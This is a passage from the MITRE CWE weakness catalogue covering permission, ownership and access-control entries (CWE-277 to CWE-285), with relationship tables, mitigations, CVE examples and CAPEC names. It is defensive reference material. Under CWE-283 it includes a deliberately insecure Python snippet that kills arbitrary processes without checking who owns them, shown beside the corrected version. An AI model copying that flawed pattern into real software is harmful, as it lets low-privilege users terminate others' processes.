CERT C Secure Coding	FIO06-C		Create files with appropriate access permissions
The CERT Oracle Secure Coding Standard for Java (2011)	FIO01-J		Create files with appropriate access permission

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
81	Web Server Logs Tampering
127	Directory Indexing

## References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-277: Insecure Inherited Permissions

**Weakness ID** : 277

**Structure** : Simple

**Abstraction** : Variant

### Description

A product defines a set of insecure permissions that are inherited by objects that are created by the program.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1445

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2110

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*



Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

### Observed Examples

Reference	Description
<b>CVE-2005-1841</b>	User's umask is used when creating temp files. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1841">https://www.cve.org/CVERecord?id=CVE-2005-1841</a>
<b>CVE-2002-1786</b>	Insecure umask for core dumps [is the umask preserved or assigned?]. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1786">https://www.cve.org/CVERecord?id=CVE-2002-1786</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		946	SFP Secondary Cluster: Insecure Resource Permissions	888	2187

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure inherited permissions

## CWE-278: Insecure Preserved Inherited Permissions

**Weakness ID :** 278

**Structure :** Simple

**Abstraction :** Variant

### Description

A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1445

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2110

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

### Observed Examples

Reference	Description
<b>CVE-2005-1724</b>	Does not obey specified permissions when exporting. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1724">https://www.cve.org/CVERecord?id=CVE-2005-1724</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2187

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure preserved inherited permissions

## CWE-279: Incorrect Execution-Assigned Permissions

**Weakness ID** : 279

**Structure** : Simple

**Abstraction** : Variant

### Description

While it is executing, the product sets the permissions of an object in a way that violates the intended permissions that have been specified by the user.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1445

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2110

**Applicable Platforms**

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

**Potential Mitigations****Phase: Architecture and Design****Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

**Observed Examples**

Reference	Description
<b>CVE-2002-0265</b>	Log files opened read/write. <a href="https://www.cve.org/CVERecord?id=CVE-2002-0265">https://www.cve.org/CVERecord?id=CVE-2002-0265</a>
<b>CVE-2003-0876</b>	Log files opened read/write. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0876">https://www.cve.org/CVERecord?id=CVE-2003-0876</a>
<b>CVE-2002-1694</b>	Log files opened read/write. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1694">https://www.cve.org/CVERecord?id=CVE-2002-1694</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf		857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161

Nature	Type	ID	Name	V	Page
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	C	946	SFP Secondary Cluster: Insecure Resource Permissions	888	2187
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insecure execution-assigned permissions
CERT C Secure Coding	FIO06-C		Create files with appropriate access permissions
The CERT Oracle Secure Coding Standard for Java (2011)	FIO01-J		Create files with appropriate access permission

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
81	Web Server Logs Tampering

## CWE-280: Improper Handling of Insufficient Permissions or Privileges

**Weakness ID :** 280

**Structure :** Simple

**Abstraction :** Base

### Description

The product does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the product in an invalid state.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	G	755	Improper Handling of Exceptional Conditions	1468
PeerOf	G	636	Not Failing Securely ('Failing Open')	1318

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	265	Privilege Issues	2109
MemberOf	C	275	Permission Issues	2110

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Other	Other Alter Execution Logic	

### Potential Mitigations

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

#### Phase: Implementation



Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.

### Observed Examples

Reference	Description
<b>CVE-2003-0501</b>	Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0501">https://www.cve.org/CVERecord?id=CVE-2003-0501</a>
<b>CVE-2004-0148</b>	FTP server places a user in the root directory when the user's permissions prevent access to the their own home directory. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0148">https://www.cve.org/CVERecord?id=CVE-2004-0148</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		962	SFP Secondary Cluster: Unchecked Status Condition	888	2193
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Notes

#### Maintenance

CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

#### Relationship

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

#### Theoretical

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To

perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

### Research Gap

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Fails poorly due to insufficient permissions
WASC	17		Improper Filesystem Permissions
Software Fault Patterns	SFP4		Unchecked Status Condition

## CWE-281: Improper Preservation of Permissions

**Weakness ID** : 281

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1445

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		732	Incorrect Permission Assignment for Critical Resource	1445

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		275	Permission Issues	2110

### Weakness Ordinalities

**Resultant** : This is resultant from errors that prevent the permissions from being preserved.

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Integrity	Modify Application Data	

## Observed Examples

Reference	Description
<b>CVE-2002-2323</b>	Incorrect ACLs used when restoring backups from directories that use symbolic links. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2323">https://www.cve.org/CVERecord?id=CVE-2002-2323</a>
<b>CVE-2001-1515</b>	Automatic modification of permissions inherited from another file system. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1515">https://www.cve.org/CVERecord?id=CVE-2001-1515</a>
<b>CVE-2005-1920</b>	Permissions on backup file are created with defaults, possibly less secure than original file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1920">https://www.cve.org/CVERecord?id=CVE-2005-1920</a>
<b>CVE-2001-0195</b>	File is made world-readable when being cloned. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0195">https://www.cve.org/CVERecord?id=CVE-2001-0195</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		946	SFP Secondary Cluster: Insecure Resource Permissions	888	2187

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Permission preservation failure

## CWE-282: Improper Ownership Management

**Weakness ID** : 282

**Structure** : Simple

**Abstraction** : Class

### Description

The product assigns the wrong ownership, or does not properly verify the ownership, of an object or resource.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		284	Improper Access Control	644
ParentOf		283	Unverified Ownership	643



Nature	Type	ID	Name	Page
ParentOf		708	Incorrect Ownership Assignment	1442

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

### Observed Examples

Reference	Description
<b>CVE-1999-1125</b>	Program runs setuid root but relies on a configuration file owned by a non-root user. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1125">https://www.cve.org/CVERecord?id=CVE-1999-1125</a>

### Affected Resources

- File or Directory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		944	SFP Secondary Cluster: Access Management	888	2186

### Notes

#### Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Ownership errors

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
17	Using Malicious Files
35	Leverage Executable Code in Non-Executable Files

## CWE-283: Unverified Ownership

**Weakness ID** : 283  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product does not properly verify that a critical resource is owned by the proper entity.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.


*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		282	Improper Ownership Management	641

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		840	Business Logic Errors	2153

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>An attacker could gain unauthorized access to system resources.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

### Demonstrative Examples

**Example 1:**

This function is part of a privileged program that takes input from users with potentially lower privileges.

*Example Language: Python*

*(Bad)*

```
def killProcess(processID):
```

```
os.kill(processID, signal.SIGKILL)
```

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

Example Language: Python

(Good)

```
def killProcess(processID):
    user = getCurrentUser()
    #Check process owner against requesting user
    if getProcessOwner(processID) == user:
        os.kill(processID, signal.SIGKILL)
        return
    else:
        print("You cannot kill a process you don't own")
        return
```

## Observed Examples

Reference	Description
<b>CVE-2001-0178</b>	Program does not verify the owner of a UNIX socket that is used for sending a password. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0178">https://www.cve.org/CVERecord?id=CVE-2001-0178</a>
<b>CVE-2004-2012</b>	Owner of special device not checked, allowing root. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2012">https://www.cve.org/CVERecord?id=CVE-2004-2012</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf		884	CWE Cross-section	884	2327
MemberOf		944	SFP Secondary Cluster: Access Management	888	2186

## Notes

### Relationship

This overlaps insufficient comparison, verification errors, permissions, and privileges.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unverified Ownership

## CWE-284: Improper Access Control

Weakness ID : 284

Structure : Simple

Abstraction : Pillar

## Description

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

## Extended Description

Access control involves the use of several protection mechanisms such as:

- Authentication (proving the identity of an actor)
- Authorization (ensuring that a given actor can access a resource), and
- Accountability (tracking of activities that were performed)

When any mechanism is not applied or otherwise fails, attackers can compromise the security of the product by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:






- Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.
- Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*







Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2335
ParentOf	C	269	Improper Privilege Management	613
ParentOf	C	282	Improper Ownership Management	641
ParentOf	C	285	Improper Authorization	649
ParentOf	C	286	Incorrect User Management	656
ParentOf	C	287	Improper Authentication	657
ParentOf	C	346	Origin Validation Error	808
ParentOf	B	749	Exposed Dangerous Method or Function	1456
ParentOf	C	923	Improper Restriction of Communication Channel to Intended Endpoints	1700
ParentOf	B	1191	On-Chip Debug and Test Interface With Improper Access Control	1833
ParentOf	B	1220	Insufficient Granularity of Access Control	1843
ParentOf	B	1224	Improper Restriction of Write-Once Bit Fields	1851
ParentOf	B	1231	Improper Prevention of Lock Bit Modification	1855
ParentOf	B	1233	Security-Sensitive Hardware Controls with Missing Lock Bit Protection	1859
ParentOf	B	1242	Inclusion of Undocumented Features or Chicken Bits	1876
ParentOf	B	1252	CPU Hardware Not Configured to Support Exclusivity of Write and Execute Operations	1897
ParentOf	B	1257	Improper Access Control Applied to Mirrored or Aliased Memory Regions	1909
ParentOf	B	1259	Improper Restriction of Security Token Assignment	1913

Nature	Type	ID	Name	Page
ParentOf		1260	Improper Handling of Overlap Between Protected Memory Ranges	1915
ParentOf		1262	Improper Access Control for Register Interface	1920
ParentOf		1263	Improper Physical Access Control	1923
ParentOf		1267	Policy Uses Obsolete Encoding	1931
ParentOf		1268	Policy Privileges are not Assigned Consistently Between Control and Data Agents	1933
ParentOf		1270	Generation of Incorrect Security Tokens	1938
ParentOf		1274	Improper Access Control for Volatile Memory Containing Boot Code	1946
ParentOf		1276	Hardware Child Block Incorrectly Connected to Parent System	1950
ParentOf		1280	Access Control Check Implemented After Asset is Accessed	1958
ParentOf		1283	Mutable Attestation or Measurement Reporting Data	1963
ParentOf		1290	Incorrect Decoding of Security Identifiers	1976
ParentOf		1292	Incorrect Conversion of Security Identifiers	1980
ParentOf		1294	Insecure Security Identifier Mechanism	1983
ParentOf		1296	Incorrect Chaining or Granularity of Debug Components	1986
ParentOf		1304	Improperly Preserved Integrity of Hardware Configuration State During a Power Save/Restore Operation	2005
ParentOf		1311	Improper Translation of Security Attributes by Fabric Bridge	2009
ParentOf		1312	Missing Protection for Mirrored Regions in On-Chip Fabric Firewall	2011
ParentOf		1313	Hardware Allows Activation of Test or Debug Logic at Runtime	2013
ParentOf		1315	Improper Setting of Bus Controlling Capability in Fabric End-point	2017
ParentOf		1316	Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges	2019
ParentOf		1317	Improper Access Control in Fabric Bridge	2021
ParentOf		1320	Improper Protection for Outbound Error Messages and Alert Signals	2028
ParentOf		1323	Improper Management of Sensitive Trace Data	2034
ParentOf		1334	Unauthorized Error Injection Can Degrade Hardware Redundancy	2056

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf		285	Improper Authorization	649
ParentOf		287	Improper Authentication	657
ParentOf		288	Authentication Bypass Using an Alternate Path or Channel	664
ParentOf		639	Authorization Bypass Through User-Controlled Key	1324
ParentOf		862	Missing Authorization	1657
ParentOf		863	Incorrect Authorization	1664

### Applicable Platforms

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (Prevalence = Undetermined)

### Alternate Terms

**Authorization** : The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

### Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

### Observed Examples

Reference	Description
<b>CVE-2022-29238</b>	Access-control setting in web-based document collaboration tool is not properly implemented by the code, which prevents listing hidden directories but does not prevent direct requests to files in those directories. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29238">https://www.cve.org/CVERecord?id=CVE-2022-29238</a>
<b>CVE-2022-23607</b>	Python-based HTTP library did not scope cookies to a particular domain such that "supercookies" could be sent to any domain on redirect <a href="https://www.cve.org/CVERecord?id=CVE-2022-23607">https://www.cve.org/CVERecord?id=CVE-2022-23607</a>
<b>CVE-2021-21972</b>	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21972">https://www.cve.org/CVERecord?id=CVE-2021-21972</a>
<b>CVE-2021-37415</b>	IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-37415">https://www.cve.org/CVERecord?id=CVE-2021-37415</a>
<b>CVE-2020-13927</b>	Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-13927">https://www.cve.org/CVERecord?id=CVE-2020-13927</a>
<b>CVE-2010-4624</b>	Bulletin board applies restrictions on number of images during post creation, but does not enforce this on editing. <a href="https://www.cve.org/CVERecord?id=CVE-2010-4624">https://www.cve.org/CVERecord?id=CVE-2010-4624</a>

### Affected Resources

- File or Directory

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	254	7PK - Security Features	700	2106
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	C	944	SFP Secondary Cluster: Access Management	888	2186
MemberOf	C	1031	OWASP Top Ten 2017 Category A5 - Broken Access Control	1026	2230
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280
MemberOf	C	1369	ICS Supply Chain: IT/OT Convergence/Expansion	1358	2298

## Notes

### Mapping

Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities). Rationale: CWE-284 is extremely high-level, a Pillar. Its name, "Improper Access Control," is often used in low-information vulnerability reports [REF-1287]. It is not useful for trend analysis. Comments: consider using descendants of CWE-284 that are more specific to the kind of access control involved, such as those involving: authorization (Missing Authorization (CWE-862), Incorrect Authorization (CWE-863), Incorrect Permission Assignment for Critical Resource (CWE-732), etc.) authentication (Missing Authentication (CWE-306) or Weak Authentication (CWE-1390)) Incorrect User Management (CWE-286) Improper Restriction of Communication Channel to Intended Endpoints (CWE-923) etc.

### Maintenance

This entry needs more work. Possible sub-categories include: Trusted group includes undesired entities (partially covered by CWE-286) Group can perform undesired actions ACL parse error does not fail closed

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Access Control List (ACL) errors
WASC	2		Insufficient Authorization
7 Pernicious Kingdoms			Missing Access Control

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
19	Embedding Scripts within Scripts
441	Malicious Logic Insertion
478	Modification of Windows Service Configuration
479	Malicious Root Certificate
502	Intent Spoof
503	WebView Exposure
536	Data Injected During Configuration
546	Incomplete Data Deletion in a Multi-Tenant Environment
550	Install New Service
551	Modify Existing Service
552	Install Rootkit
556	Replace File Extension Handlers



CAPEC-ID	Attack Pattern Name
558	Replace Trusted Executable
562	Modify Shared File
563	Add Malicious File to Shared Webroot
564	Run Software at Logon
578	Disable Security Software

## References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## CWE-285: Improper Authorization

**Weakness ID** : 285

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

### Extended Description

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ParentOf	B	552	Files or Directories Accessible to External Parties	1193
ParentOf	C	732	Incorrect Permission Assignment for Critical Resource	1445
ParentOf	C	862	Missing Authorization	1657
